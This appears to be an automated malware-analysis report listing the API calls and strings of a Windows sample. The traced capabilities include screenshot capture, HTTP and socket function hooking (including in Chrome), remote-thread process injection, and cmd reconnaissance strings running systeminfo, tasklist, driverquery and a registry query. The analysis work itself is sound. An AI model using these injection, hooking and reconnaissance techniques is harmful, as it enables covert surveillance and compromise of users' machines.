HeapCreate.KERNEL32(00000000,003E8000,00000000), ref: 02254FB6
GetProcessHeap.KERNEL32 ref: 02254FC1

Part of subcall function 022521B0: HeapAlloc.KERNEL32(00150000,00000000,00000348,02254FD6), ref: 022521BA

Part of subcall function 02254F5F: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NW;;;LW),00000001,02287CB4,00000000), ref: 02254F7D

Part of subcall function 02254BAE: InitializeCriticalSection.KERNEL32(04E6A010), ref: 02254BC4
Part of subcall function 02254BAE: CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 02254BD5
Part of subcall function 02254BAE: CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 02254BE1
Part of subcall function 02254BAE: CreateThread.KERNEL32(00000000,00000000,0225494A), ref: 02254BF4

HeapDestroy.KERNEL32 ref: 022550B8

Part of subcall function 0225449C: InterlockedExchange.KERNEL32(?,?,00000000), ref: 022544B0
Part of subcall function 0225449C: SetEvent.KERNEL32 ref: 022544C2
Part of subcall function 0225449C: WaitForSingleObject.KERNEL32(?,000000FF), ref: 022544CC
Part of subcall function 0225449C: CloseHandle.KERNEL32 ref: 022544D4
Part of subcall function 0225449C: CloseHandle.KERNEL32 ref: 022544E1
Part of subcall function 0225449C: CloseHandle.KERNEL32 ref: 022544E9
Part of subcall function 0225449C: DeleteCriticalSection.KERNEL32(?,?,0225506B), ref: 022544F4

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225D42C, Relevance: 3.7, APIs: 2, Instructions: 47

APIs

GetComputerNameW.KERNEL32 ref: 0225D44E
lstrlenW.KERNEL32 ref: 0225D460

Part of subcall function 022521B0: HeapAlloc.KERNEL32(00150000,00000000,00000348,02254FD6), ref: 022521BA

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Non-executed Functions

Function 0225B9FD, Relevance: 45.7, APIs: 19, Strings: 7, Instructions: 167

APIs

GetDesktopWindow.USER32(?,?,00000000,0225DFD4,00000000,?,?,?,00000000,?,?,0225E067,?,?,?,?), ref: 0225BA09
LoadLibraryW.KERNEL32(gdiplus.dll), ref: 0225BA21
GetProcAddress.KERNEL32(?,GdiplusStartup), ref: 0225BA40
GetProcAddress.KERNEL32(?,GdiplusShutdown), ref: 0225BA4B
GetProcAddress.KERNEL32(?,GdipCreateBitmapFromHBITMAP), ref: 0225BA56
GetProcAddress.KERNEL32(?,GdipSaveImageToStream), ref: 0225BA61
GetProcAddress.KERNEL32(?,GdipDisposeImage), ref: 0225BA6C
GetProcAddress.KERNEL32(?,GdipGetImageThumbnail), ref: 0225BA77

Part of subcall function 0225B942: GetProcAddress.KERNEL32(?,GdipGetImageEncodersSize), ref: 0225B957
Part of subcall function 0225B942: GetProcAddress.KERNEL32(?,GdipGetImageEncoders), ref: 0225B963

GetWindowRect.USER32(?), ref: 0225BAAC
GetWindowDC.USER32(?), ref: 0225BAC1
CreateCompatibleDC.GDI32 ref: 0225BACB
CreateCompatibleBitmap.GDI32(00000004,?,?), ref: 0225BAD9
SelectObject.GDI32(?), ref: 0225BAE6
BitBlt.GDI32(?,00000000,00000000,?,?,00000004,00000000,00000000,00CC0020), ref: 0225BB00

Part of subcall function 022521B0: HeapAlloc.KERNEL32(00150000,00000000,00000348,02254FD6), ref: 022521BA

SelectObject.GDI32(?,00000000), ref: 0225BBA4
DeleteObject.GDI32(00000000), ref: 0225BBAD
DeleteDC.GDI32(?), ref: 0225BBB6
ReleaseDC.USER32(?,00000004), ref: 0225BBC2
FreeLibrary.KERNEL32(?), ref: 0225BBD1

Part of subcall function 0225BF57: OpenFileMappingW.KERNEL32(00000006,00000000,033B28E8), ref: 0225BF71
Part of subcall function 0225BF57: MapViewOfFile.KERNEL32(?,000F001F,00000000,00000000,00100000), ref: 0225BF8F
Part of subcall function 0225BF57: OpenEventW.KERNEL32(001F0003,00000000,033B2898), ref: 0225BFBA
Part of subcall function 0225BF57: OpenEventW.KERNEL32(001F0003,00000000,033B2848), ref: 0225BFD0
Part of subcall function 0225BF57: WaitForSingleObject.KERNEL32(?,00000BB8), ref: 0225BFDE
Part of subcall function 0225BF57: SetEvent.KERNEL32(?), ref: 0225BFFE
Part of subcall function 0225BF57: CloseHandle.KERNEL32 ref: 0225C010
Part of subcall function 0225BF57: CloseHandle.KERNEL32(?), ref: 0225C019
Part of subcall function 0225BF57: UnmapViewOfFile.KERNEL32(?), ref: 0225C022
Part of subcall function 0225BF57: CloseHandle.KERNEL32(?), ref: 0225C02D

Strings

gdiplus.dll, xrefs: 0225BA1C
GdipSaveImageToStream, xrefs: 0225BA58
GdiplusShutdown, xrefs: 0225BA42
GdipDisposeImage, xrefs: 0225BA63
GdipCreateBitmapFromHBITMAP, xrefs: 0225BA4D
GdiplusStartup, xrefs: 0225BA3A
GdipGetImageThumbnail, xrefs: 0225BA6E

Memory Dump Source

Source File: 00000000.00000002.1094746420.02251000.00000010.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000002.1094740869.02250000.00000002.sdmp
Associated: 00000000.00000002.1094764534.0225F000.00000002.sdmp
Associated: 00000000.00000002.1094771565.02262000.00000004.sdmp
Associated: 00000000.00000002.1094784935.02267000.00000008.sdmp
Associated: 00000000.00000002.1094790850.0226A000.00000004.sdmp
Associated: 00000000.00000002.1094798161.0226B000.00000008.sdmp
Associated: 00000000.00000002.1094807309.0226C000.00000004.sdmp
Associated: 00000000.00000002.1094814464.0226E000.00000008.sdmp
Associated: 00000000.00000002.1094825711.02278000.00000004.sdmp
Associated: 00000000.00000002.1094835974.0227C000.00000008.sdmp
Associated: 00000000.00000002.1094849982.0227D000.00000004.sdmp
Associated: 00000000.00000002.1094855417.0227E000.00000008.sdmp
Associated: 00000000.00000002.1094864083.02287000.00000004.sdmp
Associated: 00000000.00000002.1094883971.02288000.00000002.sdmp

Function 0225B2AD, Relevance: 44.3, APIs: 11, Strings: 11, Instructions: 107

APIs

GetModuleHandleW.KERNEL32(WININET), ref: 0225B2B7
GetProcAddress.KERNEL32(?,InternetConnectA), ref: 0225B2D3
GetProcAddress.KERNEL32(?,InternetConnectW), ref: 0225B2F3
GetProcAddress.KERNEL32(?,HttpSendRequestA), ref: 0225B313
GetProcAddress.KERNEL32(?,HttpSendRequestW), ref: 0225B333
GetProcAddress.KERNEL32(?,HttpSendRequestExA), ref: 0225B353
GetProcAddress.KERNEL32(?,HttpSendRequestExW), ref: 0225B373
GetProcAddress.KERNEL32(?,InternetReadFile), ref: 0225B393
GetProcAddress.KERNEL32(?,InternetReadFileExA), ref: 0225B3B3
GetProcAddress.KERNEL32(?,InternetReadFileExW), ref: 0225B3D3
GetProcAddress.KERNEL32(?,InternetQueryDataAvailable), ref: 0225B3F3

Part of subcall function 022542B1: memset.NTDLL(?,00000000), ref: 022542E7
Part of subcall function 022542B1: GetCurrentProcess.KERNEL32 ref: 02254327
Part of subcall function 022542B1: VirtualProtectEx.KERNEL32(?,?,?,00000040,?), ref: 02254341
Part of subcall function 022542B1: VirtualProtectEx.KERNEL32(?,?,0000006C,00000040,?), ref: 0225435B
Part of subcall function 022542B1: FlushInstructionCache.KERNEL32(?), ref: 022543C8
Part of subcall function 022542B1: FlushInstructionCache.KERNEL32(?), ref: 022543EB
Part of subcall function 022542B1: VirtualProtectEx.KERNEL32(?,?,0000006C,00000000,?), ref: 022543FE
Part of subcall function 022542B1: FlushInstructionCache.KERNEL32(?), ref: 02254409
Part of subcall function 022542B1: VirtualProtectEx.KERNEL32(?,?,?,00000000,?), ref: 0225441B

Strings

HttpSendRequestExA, xrefs: 0225B34D
InternetConnectA, xrefs: 0225B2CD
InternetConnectW, xrefs: 0225B2ED
WININET, xrefs: 0225B2B0
HttpSendRequestExW, xrefs: 0225B36D
InternetQueryDataAvailable, xrefs: 0225B3ED
InternetReadFile, xrefs: 0225B38D
HttpSendRequestA, xrefs: 0225B30D
HttpSendRequestW, xrefs: 0225B32D
InternetReadFileExA, xrefs: 0225B3AD
InternetReadFileExW, xrefs: 0225B3CD

Memory Dump Source

Source File: 00000000.00000002.1094746420.02251000.00000010.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000002.1094740869.02250000.00000002.sdmp
Associated: 00000000.00000002.1094764534.0225F000.00000002.sdmp
Associated: 00000000.00000002.1094771565.02262000.00000004.sdmp
Associated: 00000000.00000002.1094784935.02267000.00000008.sdmp
Associated: 00000000.00000002.1094790850.0226A000.00000004.sdmp
Associated: 00000000.00000002.1094798161.0226B000.00000008.sdmp
Associated: 00000000.00000002.1094807309.0226C000.00000004.sdmp
Associated: 00000000.00000002.1094814464.0226E000.00000008.sdmp
Associated: 00000000.00000002.1094825711.02278000.00000004.sdmp
Associated: 00000000.00000002.1094835974.0227C000.00000008.sdmp
Associated: 00000000.00000002.1094849982.0227D000.00000004.sdmp
Associated: 00000000.00000002.1094855417.0227E000.00000008.sdmp
Associated: 00000000.00000002.1094864083.02287000.00000004.sdmp
Associated: 00000000.00000002.1094883971.02288000.00000002.sdmp

Function 02254C10, Relevance: 20.3, APIs: 9, Strings: 1, Instructions: 119

APIs

Part of subcall function 02254453: EnterCriticalSection.KERNEL32(04E6A010,00000001,00000000,?,02254C32,?,7C8017E9), ref: 02254462
Part of subcall function 02254453: lstrcpyW.KERNEL32(7C8017E9,Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)), ref: 0225447A
Part of subcall function 02254453: LeaveCriticalSection.KERNEL32(04E6A010,?,02254C32,?,7C8017E9), ref: 02254481

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 02254C3D
InternetConnectW.WININET(?,7E41A9B6,7C80A174,00000000,00000000,00000003,00000000,00000000), ref: 02254C5B
HttpOpenRequestW.WININET(?,GET,?,00000000,00000000,00000000,00400000,00000000), ref: 02254C7F
HttpSendRequestW.WININET(?,00000000,00000000,00000000,00000000), ref: 02254C97
HttpQueryInfoW.WININET(?,20000005,?,?,00000000), ref: 02254CB7

Part of subcall function 022521B0: HeapAlloc.KERNEL32(00150000,00000000,00000348,02254FD6), ref: 022521BA

InternetReadFile.WININET(7E41A9B6,?,00000000,?), ref: 02254CFB
InternetCloseHandle.WININET(7E41A9B6), ref: 02254D0D
InternetCloseHandle.WININET(7C80A174), ref: 02254D16
InternetCloseHandle.WININET(?), ref: 02254D20

Strings

GET, xrefs: 02254C79

Memory Dump Source

Source File: 00000000.00000002.1094746420.02251000.00000010.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000002.1094740869.02250000.00000002.sdmp
Associated: 00000000.00000002.1094764534.0225F000.00000002.sdmp
Associated: 00000000.00000002.1094771565.02262000.00000004.sdmp
Associated: 00000000.00000002.1094784935.02267000.00000008.sdmp
Associated: 00000000.00000002.1094790850.0226A000.00000004.sdmp
Associated: 00000000.00000002.1094798161.0226B000.00000008.sdmp
Associated: 00000000.00000002.1094807309.0226C000.00000004.sdmp
Associated: 00000000.00000002.1094814464.0226E000.00000008.sdmp
Associated: 00000000.00000002.1094825711.02278000.00000004.sdmp
Associated: 00000000.00000002.1094835974.0227C000.00000008.sdmp
Associated: 00000000.00000002.1094849982.0227D000.00000004.sdmp
Associated: 00000000.00000002.1094855417.0227E000.00000008.sdmp
Associated: 00000000.00000002.1094864083.02287000.00000004.sdmp
Associated: 00000000.00000002.1094883971.02288000.00000002.sdmp

Function 02259E05, Relevance: 18.3, APIs: 8, Strings: 1, Instructions: 82

APIs

GetProcAddress.KERNEL32(?,LoadLibraryW), ref: 02259E25
GetModuleFileNameExW.PSAPI(?,00000000,00000000,00000104), ref: 02259E40

Part of subcall function 02259CAC: VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 02259CFC
Part of subcall function 02259CAC: VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 02259D88
Part of subcall function 02259CAC: VirtualFree.KERNEL32(?,00000000,00008000), ref: 02259DF5

VirtualAllocEx.KERNEL32(?,00000000,00000200,00003000,00000040), ref: 02259E6D
WriteProcessMemory.KERNEL32(?), ref: 02259E8F
CreateRemoteThread.KERNEL32(?,00000000,00000000,?,?,00000000,00000000), ref: 02259EA9
WaitForSingleObject.KERNEL32(?,000000FF), ref: 02259EB8
CloseHandle.KERNEL32 ref: 02259EC6
VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 02259EDA

Strings

LoadLibraryW, xrefs: 02259E1D

Memory Dump Source

Source File: 00000000.00000002.1094746420.02251000.00000010.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000002.1094740869.02250000.00000002.sdmp
Associated: 00000000.00000002.1094764534.0225F000.00000002.sdmp
Associated: 00000000.00000002.1094771565.02262000.00000004.sdmp
Associated: 00000000.00000002.1094784935.02267000.00000008.sdmp
Associated: 00000000.00000002.1094790850.0226A000.00000004.sdmp
Associated: 00000000.00000002.1094798161.0226B000.00000008.sdmp
Associated: 00000000.00000002.1094807309.0226C000.00000004.sdmp
Associated: 00000000.00000002.1094814464.0226E000.00000008.sdmp
Associated: 00000000.00000002.1094825711.02278000.00000004.sdmp
Associated: 00000000.00000002.1094835974.0227C000.00000008.sdmp
Associated: 00000000.00000002.1094849982.0227D000.00000004.sdmp
Associated: 00000000.00000002.1094855417.0227E000.00000008.sdmp
Associated: 00000000.00000002.1094864083.02287000.00000004.sdmp
Associated: 00000000.00000002.1094883971.02288000.00000002.sdmp

Function 02259B60, Relevance: 10.2, APIs: 4, Strings: 1, Instructions: 34

APIs

FindResourceW.KERNEL32(00000066,RT_DATA,02287CB8), ref: 02259B76
SizeofResource.KERNEL32 ref: 02259B85
LoadResource.KERNEL32 ref: 02259B94
LockResource.KERNEL32 ref: 02259B9B

Part of subcall function 022521B0: HeapAlloc.KERNEL32(00150000,00000000,00000348,02254FD6), ref: 022521BA

Strings

RT_DATA, xrefs: 02259B69

Memory Dump Source

Source File: 00000000.00000002.1094746420.02251000.00000010.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000002.1094740869.02250000.00000002.sdmp
Associated: 00000000.00000002.1094764534.0225F000.00000002.sdmp
Associated: 00000000.00000002.1094771565.02262000.00000004.sdmp
Associated: 00000000.00000002.1094784935.02267000.00000008.sdmp
Associated: 00000000.00000002.1094790850.0226A000.00000004.sdmp
Associated: 00000000.00000002.1094798161.0226B000.00000008.sdmp
Associated: 00000000.00000002.1094807309.0226C000.00000004.sdmp
Associated: 00000000.00000002.1094814464.0226E000.00000008.sdmp
Associated: 00000000.00000002.1094825711.02278000.00000004.sdmp
Associated: 00000000.00000002.1094835974.0227C000.00000008.sdmp
Associated: 00000000.00000002.1094849982.0227D000.00000004.sdmp
Associated: 00000000.00000002.1094855417.0227E000.00000008.sdmp
Associated: 00000000.00000002.1094864083.02287000.00000004.sdmp
Associated: 00000000.00000002.1094883971.02288000.00000002.sdmp

Function 0225D4A8, Relevance: 1.9, APIs: 1, Instructions: 9

APIs

GetVersion.KERNEL32 ref: 0225D4AB

Memory Dump Source

Source File: 00000000.00000002.1094746420.02251000.00000010.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000002.1094740869.02250000.00000002.sdmp
Associated: 00000000.00000002.1094764534.0225F000.00000002.sdmp
Associated: 00000000.00000002.1094771565.02262000.00000004.sdmp
Associated: 00000000.00000002.1094784935.02267000.00000008.sdmp
Associated: 00000000.00000002.1094790850.0226A000.00000004.sdmp
Associated: 00000000.00000002.1094798161.0226B000.00000008.sdmp
Associated: 00000000.00000002.1094807309.0226C000.00000004.sdmp
Associated: 00000000.00000002.1094814464.0226E000.00000008.sdmp
Associated: 00000000.00000002.1094825711.02278000.00000004.sdmp
Associated: 00000000.00000002.1094835974.0227C000.00000008.sdmp
Associated: 00000000.00000002.1094849982.0227D000.00000004.sdmp
Associated: 00000000.00000002.1094855417.0227E000.00000008.sdmp
Associated: 00000000.00000002.1094864083.02287000.00000004.sdmp
Associated: 00000000.00000002.1094883971.02288000.00000002.sdmp

Function 0225E454, Relevance: 82.6, APIs: 41, Strings: 6, Instructions: 347

APIs

GetTempPathW.KERNEL32(00000104,-0000000E), ref: 0225E46D
GetTempFileNameW.KERNEL32(?,0225F5EC,00000000), ref: 0225E488
wsprintfW.USER32 ref: 0225E4A9
memset.NTDLL(?,00000000), ref: 0225E4B5
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,0C000000,00000000,00000000,00000000,00000000), ref: 0225E4EC
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0225E4FC
CloseHandle.KERNEL32(?), ref: 0225E50C
CloseHandle.KERNEL32(?), ref: 0225E512
wsprintfW.USER32 ref: 0225E529
memset.NTDLL(?,00000000), ref: 0225E535
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,0C000000,00000000,00000000,00000000,00000000), ref: 0225E56C
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0225E57C
CloseHandle.KERNEL32(?), ref: 0225E58C
CloseHandle.KERNEL32(?), ref: 0225E592
wsprintfW.USER32 ref: 0225E5A9
memset.NTDLL(?,00000000), ref: 0225E5B5
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,0C000000,00000000,00000000,00000000,00000000), ref: 0225E5EC
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0225E5FC
CloseHandle.KERNEL32(?), ref: 0225E60C
CloseHandle.KERNEL32(?), ref: 0225E612
wsprintfW.USER32 ref: 0225E629
memset.NTDLL(?,00000000), ref: 0225E635
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,0C000000,00000000,00000000,00000000,00000000), ref: 0225E66C
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0225E67C
CloseHandle.KERNEL32(?), ref: 0225E68C
CloseHandle.KERNEL32(?), ref: 0225E692
wsprintfW.USER32 ref: 0225E6A9
memset.NTDLL(?,00000000), ref: 0225E6B5
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,0C000000,00000000,00000000,00000000,00000000), ref: 0225E6EC
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0225E6FC
CloseHandle.KERNEL32(?), ref: 0225E70C
CloseHandle.KERNEL32(?), ref: 0225E712
GetTempFileNameW.KERNEL32(?,0225F7AC,00000000), ref: 0225E727
wsprintfW.USER32 ref: 0225E74A
memset.NTDLL(?,00000000), ref: 0225E756
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,0C000000,00000000,00000000,00000000,00000000), ref: 0225E78D
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0225E79D
CloseHandle.KERNEL32(?), ref: 0225E7AD
CloseHandle.KERNEL32(?), ref: 0225E7B3
DeleteFileW.KERNEL32 ref: 0225E7C3

Part of subcall function 02251FDF: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,08000000,00000000), ref: 02252000
Part of subcall function 02251FDF: GetFileSize.KERNEL32(?,00000000), ref: 02252017
Part of subcall function 02251FDF: CloseHandle.KERNEL32(?), ref: 02252027
Part of subcall function 02251FDF: ReadFile.KERNEL32(?,?,?,?,00000000), ref: 02252049
Part of subcall function 02251FDF: CloseHandle.KERNEL32(?), ref: 0225205B

DeleteFileW.KERNEL32 ref: 0225E7E5

Part of subcall function 022521B0: HeapAlloc.KERNEL32(00150000,00000000,00000348,02254FD6), ref: 022521BA

Part of subcall function 0225BF57: OpenFileMappingW.KERNEL32(00000006,00000000,033B28E8), ref: 0225BF71
Part of subcall function 0225BF57: MapViewOfFile.KERNEL32(?,000F001F,00000000,00000000,00100000), ref: 0225BF8F
Part of subcall function 0225BF57: OpenEventW.KERNEL32(001F0003,00000000,033B2898), ref: 0225BFBA
Part of subcall function 0225BF57: OpenEventW.KERNEL32(001F0003,00000000,033B2848), ref: 0225BFD0
Part of subcall function 0225BF57: WaitForSingleObject.KERNEL32(?,00000BB8), ref: 0225BFDE
Part of subcall function 0225BF57: SetEvent.KERNEL32(?), ref: 0225BFFE
Part of subcall function 0225BF57: CloseHandle.KERNEL32 ref: 0225C010
Part of subcall function 0225BF57: CloseHandle.KERNEL32(?), ref: 0225C019
Part of subcall function 0225BF57: UnmapViewOfFile.KERNEL32(?), ref: 0225C022
Part of subcall function 0225BF57: CloseHandle.KERNEL32(?), ref: 0225C02D

Strings

cmd /C "systeminfo.exe > %s", xrefs: 0225E4A3
cmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> %s", xrefs: 0225E623
cmd /C "copy %s %s", xrefs: 0225E744
cmd /C "tasklist.exe /SVC >> %s", xrefs: 0225E523
cmd /C "driverquery.exe >> %s", xrefs: 0225E5A3
cmd /C "echo -------- >> %s", xrefs: 0225E6A3

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 02259EEA, Relevance: 54.4, APIs: 20, Strings: 7, Instructions: 186

APIs

LoadLibraryW.KERNEL32(kernel32.dll), ref: 02259F03
GetProcAddress.KERNEL32(?,IsWow64Process), ref: 02259F1E
GetCurrentProcess.KERNEL32 ref: 02259F2B
LoadLibraryW.KERNEL32(psapi.dll), ref: 02259F41
GetProcAddress.KERNEL32(?,EnumProcessModulesEx), ref: 02259F52
OpenProcess.KERNEL32(0000043A,00000000,?), ref: 02259F5D
GetProcessHeap.KERNEL32 ref: 02259F96
HeapAlloc.KERNEL32(?,00000000,00001000,?,IsWow64Process), ref: 02259FA9
EnumProcessModules.PSAPI(?,?,00001000,?,?,00000000,00001000,?,IsWow64Process), ref: 02259FBC
GetModuleFileNameExW.PSAPI(?,?,00000000,00000104), ref: 0225A001
lstrcmpiW.KERNEL32(?,client.dll), ref: 0225A03E
lstrcmpiW.KERNEL32(?,client64.dll), ref: 0225A04E
lstrcmpiW.KERNEL32(?,kernel32.dll), ref: 0225A064
lstrcpyW.KERNEL32(?,?), ref: 0225A090
lstrlenW.KERNEL32 ref: 0225A09D
lstrcatW.KERNEL32(?,client.dll), ref: 0225A0DE

Part of subcall function 02259E05: GetProcAddress.KERNEL32(?,LoadLibraryW), ref: 02259E25
Part of subcall function 02259E05: GetModuleFileNameExW.PSAPI(?,00000000,00000000,00000104), ref: 02259E40
Part of subcall function 02259E05: VirtualAllocEx.KERNEL32(?,00000000,00000200,00003000,00000040), ref: 02259E6D
Part of subcall function 02259E05: WriteProcessMemory.KERNEL32(?), ref: 02259E8F
Part of subcall function 02259E05: CreateRemoteThread.KERNEL32(?,00000000,00000000,?,?,00000000,00000000), ref: 02259EA9
Part of subcall function 02259E05: WaitForSingleObject.KERNEL32(?,000000FF), ref: 02259EB8
Part of subcall function 02259E05: CloseHandle.KERNEL32 ref: 02259EC6
Part of subcall function 02259E05: VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 02259EDA

HeapFree.KERNEL32(?,00000000,?,?,?,00001000,?,?,00000000,00001000,?,IsWow64Process), ref: 0225A10F
CloseHandle.KERNEL32(?), ref: 0225A118
FreeLibrary.KERNEL32(?), ref: 0225A130
FreeLibrary.KERNEL32(?), ref: 0225A135

Strings

\, xrefs: 0225A0A7
IsWow64Process, xrefs: 02259F18
client64.dll, xrefs: 0225A048, 0225A0D1
kernel32.dll, xrefs: 02259EFE, 0225A05E
EnumProcessModulesEx, xrefs: 02259F4C
psapi.dll, xrefs: 02259F3C
client.dll, xrefs: 0225A038, 0225A0D8

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225CFC4, Relevance: 40.3, APIs: 10, Strings: 10, Instructions: 91

APIs

GetModuleHandleW.KERNEL32(WS2_32), ref: 0225CFD2
GetProcAddress.KERNEL32(?,recv), ref: 0225CFE6
GetProcAddress.KERNEL32(?,WSASend), ref: 0225D006
GetProcAddress.KERNEL32(?,closesocket), ref: 0225D026
GetModuleHandleW.KERNEL32(CHROME.DLL), ref: 0225D045
GetModuleHandleW.KERNEL32(KERNEL32), ref: 0225D054
GetProcAddress.KERNEL32(?,LoadLibraryA), ref: 0225D066
GetProcAddress.KERNEL32(?,LoadLibraryW), ref: 0225D086
GetProcAddress.KERNEL32(?,LoadLibraryExA), ref: 0225D0A6
GetProcAddress.KERNEL32(?,LoadLibraryExW), ref: 0225D0C6

Part of subcall function 022542B1: memset.NTDLL(?,00000000), ref: 022542E7
Part of subcall function 022542B1: GetCurrentProcess.KERNEL32 ref: 02254327
Part of subcall function 022542B1: VirtualProtectEx.KERNEL32(?,?,?,00000040,?), ref: 02254341
Part of subcall function 022542B1: VirtualProtectEx.KERNEL32(?,?,0000006C,00000040,?), ref: 0225435B
Part of subcall function 022542B1: FlushInstructionCache.KERNEL32(?), ref: 022543C8
Part of subcall function 022542B1: FlushInstructionCache.KERNEL32(?), ref: 022543EB
Part of subcall function 022542B1: VirtualProtectEx.KERNEL32(?,?,0000006C,00000000,?), ref: 022543FE
Part of subcall function 022542B1: FlushInstructionCache.KERNEL32(?), ref: 02254409
Part of subcall function 022542B1: VirtualProtectEx.KERNEL32(?,?,?,00000000,?), ref: 0225441B

Strings

LoadLibraryExW, xrefs: 0225D0C0
LoadLibraryA, xrefs: 0225D060
KERNEL32, xrefs: 0225D04F
LoadLibraryW, xrefs: 0225D080
closesocket, xrefs: 0225D020
recv, xrefs: 0225CFE0
CHROME.DLL, xrefs: 0225D040
WSASend, xrefs: 0225D000
LoadLibraryExA, xrefs: 0225D0A0
WS2_32, xrefs: 0225CFCD

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
